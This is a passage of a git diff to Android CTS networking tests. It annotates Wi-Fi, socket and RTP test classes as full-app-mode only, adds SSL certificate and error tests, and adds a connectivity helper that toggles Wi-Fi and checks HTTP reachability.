         DatagramSocket socket = new DatagramSocket();
         try {
@@ -88,6 +91,7 @@
         }
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testProtect_int() throws Exception {
         DatagramSocket socket = new DatagramSocket();
         ParcelFileDescriptor descriptor = ParcelFileDescriptor.fromDatagramSocket(socket);
diff --git a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
index 2e5306d..8d7dff0 100644
--- a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
+++ b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
@@ -22,6 +22,7 @@
 import org.apache.http.impl.client.DefaultHttpClient;
 
 import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.webkit.cts.CtsTestServer;
 
@@ -30,6 +31,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class ApacheHttpClientTest extends AndroidTestCase {
 
     private static final int NUM_DOWNLOADS = 20;
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
index 198f973..354954e 100644
--- a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
+++ b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
@@ -22,6 +22,7 @@
 import junit.framework.TestCase;
 
 import android.net.http.HttpResponseCache;
+import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.FileUtils;
 
@@ -126,6 +127,7 @@
      * Make sure that statistics tracking are wired all the way through the
      * wrapper class. http://code.google.com/p/android/issues/detail?id=25418
      */
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testStatisticsTracking() throws Exception {
         HttpResponseCache cache = HttpResponseCache.install(cacheDir, 10 * 1024 * 1024);
 
diff --git a/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java b/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
index 70ae496..95f415c 100644
--- a/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
+++ b/tests/tests/net/src/android/net/http/cts/SslCertificateTest.java
@@ -230,6 +230,19 @@
         final String EXPECTED = "Issued to: c=ccc,o=testOName,ou=testUName,cn=testCName;\n"
             + "Issued by: e=aeei,c=adb,o=testOName,ou=testUName,cn=testCName;\n";
         assertEquals(EXPECTED, ssl.toString());
+        assertNull(ssl.getX509Certificate());
     }
 
+    public void testGetX509Certificate() {
+        final String TO = "c=ccc,o=testOName,ou=testUName,cn=testCName";
+        final String BY = "e=aeei,c=adb,o=testOName,ou=testUName,cn=testCName";
+        Date validNotBefore = new Date(System.currentTimeMillis() - 1000);
+        Date validNotAfter = new Date(System.currentTimeMillis());
+        SslCertificate ssl = new SslCertificate(TO, BY, validNotBefore, validNotAfter);
+        assertNull(ssl.getX509Certificate());
+
+        X509Certificate cert = new MockX509Certificate();
+        ssl = new SslCertificate(cert);
+        assertSame(cert, ssl.getX509Certificate());
+    }
 }
diff --git a/tests/tests/net/src/android/net/http/cts/SslErrorTest.java b/tests/tests/net/src/android/net/http/cts/SslErrorTest.java
index 850a8b6..0058c90 100644
--- a/tests/tests/net/src/android/net/http/cts/SslErrorTest.java
+++ b/tests/tests/net/src/android/net/http/cts/SslErrorTest.java
@@ -77,4 +77,9 @@
         SslError error = new SslError(SslError.SSL_EXPIRED, mCertificate);
         assertEquals(error.getUrl(), "");
     }
+
+    public void testGetCertificate() {
+        SslError error = new SslError(SslError.SSL_EXPIRED, mCertificate);
+        assertEquals(mCertificate, error.getCertificate());
+    }
 }
diff --git a/tests/tests/net/src/android/net/ipv6/cts/PingTest.java b/tests/tests/net/src/android/net/ipv6/cts/PingTest.java
index c23ad30..146fd83 100644
--- a/tests/tests/net/src/android/net/ipv6/cts/PingTest.java
+++ b/tests/tests/net/src/android/net/ipv6/cts/PingTest.java
@@ -61,7 +61,7 @@
 
     /** The beginning of an ICMPv6 echo request: type, code, and uninitialized checksum. */
     private static final byte[] PING_HEADER = new byte[] {
-        (byte) 0x80, (byte) 0x00, (byte) 0x00, (byte) 0x00
+        (byte) ICMP6_ECHO_REQUEST, (byte) 0x00, (byte) 0x00, (byte) 0x00
     };
 
     /**
@@ -135,7 +135,7 @@
         byte[] response = new byte[bytesRead];
         responseBuffer.flip();
         responseBuffer.get(response, 0, bytesRead);
-        assertEquals((byte) 0x81, response[0]);
+        assertEquals((byte) ICMP6_ECHO_REPLY, response[0]);
 
         // Find out what ICMP ID was used in the packet that was sent.
         int id = ((InetSocketAddress) Os.getsockname(s)).getPort();
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
index f06d7e9..1bd7fad 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
@@ -21,13 +21,14 @@
 import android.net.rtp.AudioGroup;
 import android.net.rtp.AudioStream;
 import android.net.rtp.RtpStream;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
 import java.net.InetAddress;
 
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
 public class AudioGroupTest extends AndroidTestCase {
 
     private static final String TAG = AudioGroupTest.class.getSimpleName();
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
index 323b022..f2db6ee 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
@@ -17,10 +17,12 @@
 
 import android.net.rtp.AudioCodec;
 import android.net.rtp.AudioStream;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.net.InetAddress;
 
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
 public class AudioStreamTest extends AndroidTestCase {
 
     private void testRtpStream(InetAddress address) throws Exception {
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 7277553..d823105 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -39,6 +39,7 @@
 import android.net.wifi.aware.WifiAwareSession;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.util.ArrayDeque;
@@ -53,6 +54,7 @@
  * Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
  * device to validate Wi-Fi Aware.
  */
+@AppModeFull(reason = "Cannot get WifiAwareManager in instant app mode")
 public class SingleDeviceTest extends AndroidTestCase {
     private static final String TAG = "WifiAwareCtsTests";
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
index a066ba8..2da3ffc 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -29,11 +29,14 @@
 import android.net.wifi.p2p.WifiP2pManager;
 import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_DISABLED;
 import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_ENABLED;
+
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class ConcurrencyTest extends AndroidTestCase {
     private class MySync {
         int expectedWifiState;
diff --git a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
index 2e2e75b..f2a2b48 100644
--- a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.net.nsd.NsdManager;
 import android.net.nsd.NsdServiceInfo;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -29,6 +30,7 @@
 import java.util.List;
 import java.util.ArrayList;
 
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class NsdManagerTest extends AndroidTestCase {
 
     private static final String TAG = "NsdManagerTest";
diff --git a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
index 8a22bef..839881f 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
@@ -25,9 +25,11 @@
 import android.net.wifi.ScanResult;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class ScanResultTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
index 4480a24..a59c85e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -21,8 +21,10 @@
 import android.content.Context;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiConfigurationTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
     @Override
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index d3235da..77a2583 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -23,6 +23,7 @@
 import android.net.wifi.WifiEnterpriseConfig.Eap;
 import android.net.wifi.WifiEnterpriseConfig.Phase2;
 import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.io.ByteArrayInputStream;
@@ -32,6 +33,7 @@
 import java.security.cert.X509Certificate;
 import java.security.spec.PKCS8EncodedKeySpec;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiEnterpriseConfigTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5983cb7..a05646e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -26,12 +26,14 @@
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.net.wifi.WifiSsid;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.concurrent.Callable;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiInfoTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 2ed0124..31c721e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -33,6 +33,7 @@
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -49,6 +50,7 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiManagerTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
index 3cdd56a..f7efe4c 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
@@ -19,8 +19,10 @@
 import android.content.Context;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiManager_WifiLockTest extends AndroidTestCase {
 
     private static final String WIFI_TAG = "WifiManager_WifiLockTest";
diff --git a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 74a0c3d..adb4ce8 100644
--- a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -16,11 +16,10 @@
 
 package android.net.wifi.rtt.cts;
 
-import android.content.IntentFilter;
 import android.net.wifi.ScanResult;
 import android.net.wifi.rtt.RangingRequest;
 import android.net.wifi.rtt.RangingResult;
-import android.net.wifi.rtt.WifiRttManager;
+import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -33,6 +32,7 @@
 /**
  * Wi-Fi RTT CTS test: range to all available Access Points which support IEEE 802.11mc.
  */
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiRttTest extends TestBase {
     // Number of scans to do while searching for APs supporting IEEE 802.11mc
     private static final int NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP = 2;
diff --git a/tests/tests/net/util/Android.bp b/tests/tests/net/util/Android.bp
new file mode 100644
index 0000000..1f94613
--- /dev/null
+++ b/tests/tests/net/util/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+// Common utilities for cts net tests.
+java_library {
+    name: "cts-net-utils",
+    srcs: ["java/**/*.java", "java/**/*.kt"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "junit",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
new file mode 100644
index 0000000..e19d2ba
--- /dev/null
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.util;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkInfo;
+import android.net.NetworkInfo.State;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiManager;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public final class CtsNetUtils {
+    private static final String TAG = CtsNetUtils.class.getSimpleName();
+    private static final int DURATION = 10000;
+    private static final int SOCKET_TIMEOUT_MS = 2000;
+
+    public static final int HTTP_PORT = 80;
+    public static final String TEST_HOST = "connectivitycheck.gstatic.com";
+    public static final String HTTP_REQUEST =
+            "GET /generate_204 HTTP/1.0\r\n" +
+                    "Host: " + TEST_HOST + "\r\n" +
+                    "Connection: keep-alive\r\n\r\n";
+    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+    public static final String NETWORK_CALLBACK_ACTION =
+            "ConnectivityManagerTest.NetworkCallbackAction";
+
+    private Context mContext;
+    private ConnectivityManager mCm;
+    private WifiManager mWifiManager;
+    private TestNetworkCallback mCellNetworkCallback;
+
+    public CtsNetUtils(Context context) {
+        mContext = context;
+        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+        mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+    }
+
+    // Toggle WiFi twice, leaving it in the state it started in
+    public void toggleWifi() {
+        if (mWifiManager.isWifiEnabled()) {
+            Network wifiNetwork = getWifiNetwork();
+            disconnectFromWifi(wifiNetwork);
+            connectToWifi();
+        } else {
+            connectToWifi();
+            Network wifiNetwork = getWifiNetwork();
+            disconnectFromWifi(wifiNetwork);
+        }
+    }
+
+    /** Enable WiFi and wait for it to become connected to a network. */
+    public Network connectToWifi() {
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network wifiNetwork = null;
+
+        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        boolean connected = false;
+        try {
+            SystemUtil.runShellCommand("svc wifi enable");
+            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+            wifiNetwork = callback.waitForAvailable();
+            assertNotNull(wifiNetwork);
+            connected = receiver.waitForState();
+        } catch (InterruptedException ex) {
+            fail("connectToWifi was interrupted");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+            mContext.unregisterReceiver(receiver);
+        }
+
+        assertTrue("Wifi must be configured to connect to an access point for this test.",
+                connected);
+        return wifiNetwork;
+    }
+
+    /** Disable WiFi and wait for it to become disconnected from the network. */
+    public void disconnectFromWifi(Network wifiNetworkToCheck) {
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network lostWifiNetwork = null;
+
+        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        // Assert that we can establish a TCP connection on wifi.
+        Socket wifiBoundSocket = null;
+        if (wifiNetworkToCheck != null) {
+            try {
+                wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
+                testHttpRequest(wifiBoundSocket);
+            } catch (IOException e) {
+                fail("HTTP request before wifi disconnected failed with: " + e);
+            }
+        }
+
+        boolean disconnected = false;
+        try {
+            SystemUtil.runShellCommand("svc wifi disable");
+            // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
+            lostWifiNetwork = callback.waitForLost();
+            assertNotNull(lostWifiNetwork);
+            disconnected = receiver.waitForState();
+        } catch (InterruptedException ex) {
+            fail("disconnectFromWifi was interrupted");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+            mContext.unregisterReceiver(receiver);
+        }
+
+        assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
+
+        // Check that the socket is closed when wifi disconnects.
+        if (wifiBoundSocket != null) {
+            try {
+                testHttpRequest(wifiBoundSocket);
+                fail("HTTP request should not succeed after wifi disconnects");
+            } catch (IOException expected) {
+                assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
+            }
+        }
+    }
+
+    public Network getWifiNetwork() {
+        TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network network = null;
+        try {
+            network = callback.waitForAvailable();
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+        }
+        assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
+        return network;
+    }
+
+    public Network connectToCell() throws InterruptedException {
+        if (cellConnectAttempted()) {
+            throw new IllegalStateException("Already connected");
+        }
+        NetworkRequest cellRequest = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build();
+        mCellNetworkCallback = new TestNetworkCallback();
+        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+        assertNotNull("Cell network not available. " +
+                "Please ensure the device has working mobile data.", cellNetwork);
+        return cellNetwork;
+    }
+
+    public void disconnectFromCell() {
+        if (!cellConnectAttempted()) {
+            throw new IllegalStateException("Cell connection not attempted");
+        }
+        mCm.unregisterNetworkCallback(mCellNetworkCallback);
+        mCellNetworkCallback = null;
+    }
+
+    public boolean cellConnectAttempted() {
+        return mCellNetworkCallback != null;
+    }
+
+    private NetworkRequest makeWifiNetworkRequest() {
+        return new NetworkRequest.Builder()
+                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                .build();
+    }
+
+    private void testHttpRequest(Socket s) throws IOException {
+        OutputStream out = s.getOutputStream();
+        InputStream in = s.getInputStream();
+
+        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
+        byte[] responseBytes = new byte[4096];
+        out.write(requestBytes);
+        in.read(responseBytes);
+        assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
+    }
+
+    private Socket getBoundSocket(Network network, String host, int port) throws IOException {
+        InetSocketAddress addr = new InetSocketAddress(host, port);
+        Socket s = network.getSocketFactory().createSocket();
+        try {
+            s.setSoTimeout(SOCKET_TIMEOUT_MS);
+            s.connect(addr, SOCKET_TIMEOUT_MS);
+        } catch (IOException e) {
+            s.close();
+            throw e;
+        }
+        return s;
+    }
+
+    /**
+     * Receiver that captures the last connectivity change's network type and state. Recognizes
+     * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
+     */
+    public static class ConnectivityActionReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
+
+        private final int mNetworkType;
+        private final NetworkInfo.State mNetState;
+        private final ConnectivityManager mCm;
+
+        public ConnectivityActionReceiver(ConnectivityManager cm, int networkType,
+                NetworkInfo.State netState) {
+            this.mCm = cm;
+            mNetworkType = networkType;
+            mNetState = netState;
+        }
+
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            NetworkInfo networkInfo = null;
+
+            // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
+            // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
+            // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
+            if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
+                networkInfo = intent.getExtras()
+                        .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
+                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO",
+                        networkInfo);
+            } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
+                Network network = intent.getExtras()
+                        .getParcelable(ConnectivityManager.EXTRA_NETWORK);
+                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
+                networkInfo = this.mCm.getNetworkInfo(network);
+                if (networkInfo == null) {
+                    // When disconnecting, it seems like we get an intent sent with an invalid
+                    // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
+                    // it is invalid. Ignore these.
+                    Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
+                            + "invalid network");
+                    return;
+                }
+            } else {
+                fail("ConnectivityActionReceiver received unxpected intent action: " + action);
+            }
+
+            assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
+            int networkType = networkInfo.getType();
+            State networkState = networkInfo.getState();
+            Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
+            if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
+                mReceiveLatch.countDown();
+            }
+        }
+
+        public boolean waitForState() throws InterruptedException {
+            return mReceiveLatch.await(30, TimeUnit.SECONDS);
+        }
+    }
+
+    /**
+     * Callback used in testRegisterNetworkCallback that allows caller to block on
+     * {@code onAvailable}.
+     */
+    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+        private final CountDownLatch mLostLatch = new CountDownLatch(1);
+        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
+
+        public Network currentNetwork;
+        public Network lastLostNetwork;
+
+        public Network waitForAvailable() throws InterruptedException {
+            return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
+        }
+
+        public Network waitForLost() throws InterruptedException {
+            return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
+        }
+
+        public boolean waitForUnavailable() throws InterruptedException {
+            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
+        }
+
+
+        @Override
+        public void onAvailable(Network network) {
+            currentNetwork = network;
+            mAvailableLatch.countDown();
+        }
+
+        @Override
+        public void onLost(Network network) {
+            lastLostNetwork = network;
+            if (network.equals(currentNetwork)) {
+                currentNetwork = null;
+            }
+            mLostLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            mUnavailableLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/netpermission/OWNERS b/tests/tests/netpermission/OWNERS
new file mode 100644
index 0000000..370c20c
--- /dev/null
+++ b/tests/tests/netpermission/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
diff --git a/tests/tests/netpermission/internetpermission/Android.bp b/tests/tests/netpermission/internetpermission/Android.bp
new file mode 100644
index 0000000..e5f83c0
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestCasesInternetPermission",
+    defaults: ["cts_defaults"],
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["ctstestrunner-axt"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/netpermission/internetpermission/AndroidManifest.xml b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
new file mode 100644
index 0000000..23b7c0a
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.networkpermission.internetpermission.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.networkpermission.internetpermission.cts.InternetPermissionTest"
